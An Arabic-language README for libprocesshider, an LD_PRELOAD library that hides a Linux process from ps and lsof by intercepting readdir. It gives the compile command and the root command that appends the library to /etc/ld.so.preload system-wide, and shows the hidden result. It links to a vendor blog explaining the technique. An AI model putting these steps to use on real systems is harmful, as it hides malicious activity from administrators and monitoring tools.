
مكتبة مشتركة LD_PRELOAD تخفي عملية Linux من أدوات مثل ps وlsof عن طريق اعتراض استدعاءات readdir ونظام ملفات proc.
إخفاء عملية تحت Linux باستخدام ld preloader.
الشرح الكامل متوفر على https://sysdigcloud.com/hiding-linux-processes-for-fun-and-profit/
باختصار، قم بتجميع المكتبة:
gianluca@sid:~/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/
قم بتحميلها باستخدام الرابط الديناميكي العام
root@sid:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
وستصبح عمليتك خارج نطاق الرصد
gianluca@sid:~$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...
gianluca@sid:~$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
...